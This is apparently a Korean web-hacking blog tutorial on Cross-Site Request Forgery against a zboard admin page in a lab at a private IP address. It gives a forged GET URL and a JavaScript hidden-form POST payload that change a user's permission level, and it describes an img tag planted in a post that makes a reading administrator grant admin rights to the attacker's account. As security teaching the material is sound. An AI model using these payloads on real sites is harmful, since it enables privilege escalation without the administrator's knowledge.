CSRF ( Cross Site Request Forgery )

2017. 8. 29. 20:08WebHacking/Web




CSRF ( Cross Site Request Forgery )

 HTML태그를 이용한 요청값을 변조하는 공격법

 

# 관리자 권한을 가지고 있는 경우의 공격



위 화면은 관리자가 특정 계정에 대한 권한레벨을 임명해주는 페이지의 소스코드입니다

해당 페이지를 분석해보면, form 태그에 변수들을 입력하고, " http://192.168.6.123/zboard/admin_setup.php " 페이지로 전송합니다

전송된 변수들의 값에 따라서 특정 사용자의 권한레벨이 변경됩니다 ( 변수이름 : movelevel )

그럼 위의 변수들을 조사해서 해당 변수값들을 이용한 공격을 해보겠습니다

해당 페이지에서 사용하는 변수들은 다음과 같습니다

[ form 태그 변수들 ]

page= 1

group_no=1

exec=view_member

page_num= 10

exec2=moveall

cart[]=2( 사용자를 식별하는 번호)

movelevel=1~10 ( 사용자에게 지정할 권한레벨 )



1> GET방식을 이용한 공격

URL에 위의 변수들을 모두 입력해서 " http://192.168.6.123/zboard/admin_setup.php " 페이지로 이동하면 됩니다

 http://192.168.6.123/zboard/admin_setup.php?page= 1&group_no=1&exec=view_member&page_num= 10&exec2=moveall&cart[]=2&movelevel=10

해당 변수값들에 공격자가 입력한 입력값들로 초기화 됩니다



2> POST방식을 이용한 공격

[ 공격 전 페이지 ]


해당 사용자의 권한레벨은 현재 3입니다


[ 자바스크립트 코드 실행 ]


[1] 자바스크립트 코드를 이용해 폼을 직접 작성

[2] 폼을 통해 변수들에 값을 대입하여 전송한다

[3] 사용 코드

document.write("<form method=post action='http://192.168.6.123/zboard/admin_setup.php'><input type=hidden name=page value=1 /><input type=hidden name=group_no value=1 /><input type=hidden name=exec value=view_member /><input type=hidden name=page_num value= 10 /><input type=hidden name=exec2 value=moveall /><input type=hidden name=cart[] value=2 /><input type=hidden name=movelevel value=10 /><input type=submit value="제출" /></form>");


[ 공격 결과 ]


폼으로 전송한 값들이 변수에 대입되서, 특정 사용자의 권한이 3에서 10으로 변경되었습니다




# 관리자의 권한을 가지고 있지 않을 때

관리자를 유인해서 관리자의 권한으로 자바스크립트 코드를 실행시킨다


[ 일반 사용자 계정 하나 생성 ]


[ 생성한 계정의 member_no ( 회원별 식별자 ) 확인 ]


[ img 태그 활용 ]


이미지 태그의 주소값 => 사용자가 원하지 않아도 해당 주소를 요청하게 되는 것을 이용 

현재 이미지 태그에 저장한 주소는 변수들에 값을 저장하고 이동한 관리자페이지 주소입니다 ( GET방식을 이용한 공격 코드를 이용 )

변수값에 위에서 생성한 계정에 대한 권한을 관리자 권한으로 수정하도록 ( is_admin = 1 ) 변수값을 지정했다

관리자가 해당 게시글을 읽으러 들어왔다면 img태그가 작동해서 자동으로 src에 저장된 페이지를 요청한다

즉, 관리자의 권한으로 관리자 페이지에 접속해서 eun계정의 권한을 바꾸는 요청을 하게된다

( 관리자는 이를 인식하지못한다 )


[ 관리자가 해당 게시글을 읽음 ]


[ 기존 계정의 Level ]


[ 관리자에 의해 변경되었다 ]